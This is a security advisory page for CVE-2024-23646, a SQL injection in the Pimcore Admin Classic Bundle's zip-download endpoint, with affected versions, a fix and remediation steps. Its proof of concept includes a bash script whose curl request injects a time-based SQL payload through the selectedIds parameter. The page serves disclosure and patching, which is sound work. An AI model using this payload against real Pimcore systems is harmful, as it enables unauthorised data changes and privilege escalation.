CVE-2024-23646: Pimcore Admin Classic Bundle SQL Injection in Admin download files as zip

Published Jan 24, 2024
·
Updated

Summary The application allows to create zip files from available files on the site. The parameter "selectedIds", is susceptible to SQL Injection.

Details downloadAsZipJobsAction escape parameters, but downloadAsZipAddFilesAction not. The following code should be added: foreach ($selectedIds as $selectedId) { if ($selectedId) { $quotedSelectedIds[] = $db->quote($selectedId); } }

PoC

- Set up an example project as described on https://github.com/pimcore/demon (demo package with example content) - Log In. Grab the X-pimcore-csrf-token header from any request to the backend, as well as the PHPSESSID cookie. - Run the following script, substituting the values accordingly: #!/bin/bash BASEURL=http://localhost # REPLACE THIS! CSRFTOKEN="5133f9d5d28de7dbab39e33ac7036271284ee42e" # REPLACE THIS! COOKIE="PHPSESSID=4312797207ba3b342b29218fa42f3aa3" # REPLACE THIS! SQL="(selectfrom(select(sleep(6)))a)"

curl "${BASEURL}/admin/asset/download-as-zip-add-files?dc=1700573579093&id=1&selectedIds=1,${SQL}&offset=10&limit=5&jobId=655cb18a37b01" \ -X GET \ -H "X-pimcore-csrf-token: ${CSRFTOKEN}" \ -H "Cookie: ${COOKIE}" - The response is delayed by 6 seconds.

Impact Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Other sources

Pimcore's Admin Classic Bundle provides a backend user interface for Pimcore. The application allows users to create zip files from available files on the site. In the 1.x branch prior to version 1.3.2, parameter selectedIds is susceptible to SQL Injection. Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level. Version 1.3.2 contains a fix for this issue.

— NVD

Affected Software

2 affected componentsFixes available
composer/pimcore/admin-ui-classic-bundle>=1.0.0<1.3.2
1.3.2
Pimcore Admin Classic Bundle Pimcore>=1.0.0<1.3.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/pimcore/admin-ui-classic-bundle to a version that resolves this vulnerability.

    Fixed in 1.3.2
  2. Upgrade

    Upgrade pimcore/admin-ui-classic-bundle (Admin Classic Bundle) 1.x to a version that resolves this vulnerability.

    Fixed in 1.3.2
  3. Configuration

    Modify downloadAsZipAddFilesAction to escape the 'selectedIds' parameter to prevent SQL injection (the material notes downloadAsZipJobsAction escapes parameters but downloadAsZipAddFilesAction does not).

    pimcore/admin-ui-classic-bundle downloadAsZipAddFilesAction selectedIds parameter handling = escape parameters (like downloadAsZipJobsAction)

Event History

Jan 24, 2024
CVE Published
via MITRE·07:41 PM
Data Sourced
via MITRE·07:41 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:15 PM
RemedyDescriptionSeverityWeaknessAffected Software
Advisory Published
via GitHub·08:54 PM

Frequently Asked Questions

1

What is the severity of CVE-2024-23646?

CVE-2024-23646 has been classified with a severity level that indicates a critical vulnerability due to SQL Injection risks.

2

How do I fix CVE-2024-23646?

To fix CVE-2024-23646, upgrade the pimcore/admin-ui-classic-bundle to version 1.3.2 or later.

3

What types of software are affected by CVE-2024-23646?

CVE-2024-23646 affects versions of the pimcore/admin-ui-classic-bundle between 1.0.0 and 1.3.2.

4

What type of vulnerability is CVE-2024-23646?

CVE-2024-23646 is classified as an SQL Injection vulnerability.

5

What actions can be taken to mitigate CVE-2024-23646?

Mitigating actions for CVE-2024-23646 include sanitizing inputs and applying security patches as soon as available.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203